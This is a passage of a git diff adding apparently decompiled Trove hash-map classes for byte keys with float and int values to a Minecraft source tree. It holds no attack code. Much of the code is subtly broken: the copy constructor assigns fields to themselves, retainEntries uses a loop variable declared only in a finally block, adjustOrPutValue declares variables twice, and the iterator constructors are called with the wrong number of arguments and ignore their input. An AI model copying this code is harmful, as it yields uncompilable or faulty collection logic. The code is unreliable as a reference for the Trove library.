+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TByteFloatHashMap.TByteFloatValueHashIterator(TByteFloatHashMap.this, TByteFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TByteFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TByteFloatIterator
+  {
+    TByteFloatHashIterator(TByteFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteFloatMap)) {
+      return false;
+    }
+    TByteFloatMap that = (TByteFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteIntHashMap.java
new file mode 100644
index 0000000..4edf511
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteIntHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIntIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TByteIntMap;
+import gnu.trove.procedure.TByteIntProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteIntHashMap
+  extends TByteIntHash
+  implements TByteIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TByteIntHashMap() {}
+  
+  public TByteIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteIntHashMap(int initialCapacity, float loadFactor, byte noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteIntHashMap(byte[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteIntHashMap(TByteIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteIntHashMap)) {
+      TByteIntHashMap hashmap = (TByteIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(byte key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(byte key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(byte key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Integer> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TByteIntMap map)
+  {
+    ensureCapacity(map.size());
+    TByteIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(byte key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteIntIterator iterator()
+  {
+    return new TByteIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteIntProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(byte key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(byte key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteIntHashMap.TByteIntKeyHashIterator(TByteIntHashMap.this, TByteIntHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteIntHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TByteIntHashMap.TByteIntValueHashIterator(TByteIntHashMap.this, TByteIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
